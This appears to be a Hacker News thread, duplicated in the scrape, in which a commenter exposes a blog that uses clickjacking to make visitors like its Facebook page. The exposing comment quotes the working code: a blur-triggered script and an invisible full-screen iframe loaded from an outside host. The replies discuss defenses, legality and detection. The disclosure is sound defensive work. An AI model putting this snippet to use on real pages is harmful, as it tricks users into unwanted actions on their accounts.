4 ms·

Just letting everyone know, by clicking anywhere on their page, you've now liked their Facebook page. This was done via ClickJacking and here are the offending

Just letting everyone know, by clicking anywhere on their page, you've now liked their Facebook page. This was done via ClickJacking and here are the offending scripts/html: <script>$(function(){var i=-1;$("#cksl7").hover(function(){i=$(this).closest("#v").attr("qjid");},function(){i=-1;});$(window).focus();$(window).blur(function(){document.getElementById("v").style.visibility="hidden";});});$(window).focus()</script> <iframe id="cksl7" name="cksl7" src="http://cobweb.dartmouth.edu/~hchen/tmp.html" http://cobweb.dartmouth.edu/~hchen/tmp.html" style="border:0px;left:-36px;top:-17px;position:absolute;filter:alpha(opacity=0);z-index:99999;opacity:0;overflow:hidden;width:1366px;height:705px;"></iframe> You can unlike their page here: https://www.facebook.com/randomdirectionsblog https://www.facebook.com/randomdirectionsblog

jstanley 11y ago
Wow, extremely scummy. I'm surprised more people aren't angry about this.
- tripzilch 11y ago
  Because not everybody uses FB (I don't), or when they do, use a private/incognito window, "sandbox" the session, to avoid being tracked (that is how I use GMail). I can't be the only one that does this, it takes almost no effort, and using a private window for the really "important" accounts, so you're not logged into them all the time, prevents a whole lot of problems and exploits.
  - SonicSoul 11y ago
    Agreed Important to note that by default even in incognito window all sessions in that window (at least in chrome) are persisted. For example closing and opening tabs will resume last session) so this exploit may still work if you have Facebook open in the same incognito browser I've used plugins that further guaranteed a new session between tabs in incognito
iagooar 11y ago
Is this even legal? Isn't a like supposed to be performed by a human (and owner of the liking account)?
- bradleyland 11y ago
  What's "legal" is determined by Federal, state, and local code. I can't imagine there are any laws against this kind of thing. It almost certainly violates Facebook's ToS though.
nothrabannosir 11y ago
Meta: what is HN policy on flagging? Is this a reason to?
userbinator 11y ago
That is true if you [1] have a Facebook account, [2] are logged in, and [3] have JavaScript enabled. None of which are true for me, but I wonder for how much of the Web-using population it is.
- vollmond 11y ago
  I would guess the majority of Facebook's userbase. Most people don't globally disable JS (I don't -- this would have gotten me).
- merpnderp 11y ago
  I run noscript, but enabled their JS to view the charts. Luckily I never clicked on the page after that.
dexterdog 11y ago
That style makes his whole introduction about this not being click-bait to advertise his business look really scummy.
batou 11y ago
Thanks. This is one of the reasons I always read the comments before the article on HN.
vobios 11y ago
Shouldn't this set off some alert at Facebook since their likes per visitor rate will be much higher than normal?
lazydon 11y ago
Yup, look at graph of likes spiking in last couple of days: https://www.facebook.com/randomdirectionsblog/likes https://www.facebook.com/randomdirectionsblog/likes The post on the blog itself is a month old.

jstanley 11y ago

Wow, extremely scummy. I'm surprised more people aren't angry about this.

tripzilch 11y ago
Because not everybody uses FB (I don't), or when they do, use a private/incognito window, "sandbox" the session, to avoid being tracked (that is how I use GMail). I can't be the only one that does this, it takes almost no effort, and using a private window for the really "important" accounts, so you're not logged into them all the time, prevents a whole lot of problems and exploits.
- SonicSoul 11y ago
  Agreed Important to note that by default even in incognito window all sessions in that window (at least in chrome) are persisted. For example closing and opening tabs will resume last session) so this exploit may still work if you have Facebook open in the same incognito browser I've used plugins that further guaranteed a new session between tabs in incognito

iagooar 11y ago

Is this even legal? Isn't a like supposed to be performed by a human (and owner of the liking account)?

bradleyland 11y ago
What's "legal" is determined by Federal, state, and local code. I can't imagine there are any laws against this kind of thing. It almost certainly violates Facebook's ToS though.

nothrabannosir 11y ago

Meta: what is HN policy on flagging? Is this a reason to?

userbinator 11y ago

That is true if you [1] have a Facebook account, [2] are logged in, and [3] have JavaScript enabled. None of which are true for me, but I wonder for how much of the Web-using population it is.

vollmond 11y ago
I would guess the majority of Facebook's userbase. Most people don't globally disable JS (I don't -- this would have gotten me).
merpnderp 11y ago
I run noscript, but enabled their JS to view the charts. Luckily I never clicked on the page after that.

dexterdog 11y ago

That style makes his whole introduction about this not being click-bait to advertise his business look really scummy.

batou 11y ago

Thanks. This is one of the reasons I always read the comments before the article on HN.

vobios 11y ago

Shouldn't this set off some alert at Facebook since their likes per visitor rate will be much higher than normal?

lazydon 11y ago

Yup, look at graph of likes spiking in last couple of days: https://www.facebook.com/randomdirectionsblog/likes https://www.facebook.com/randomdirectionsblog/likes The post on the blog itself is a month old.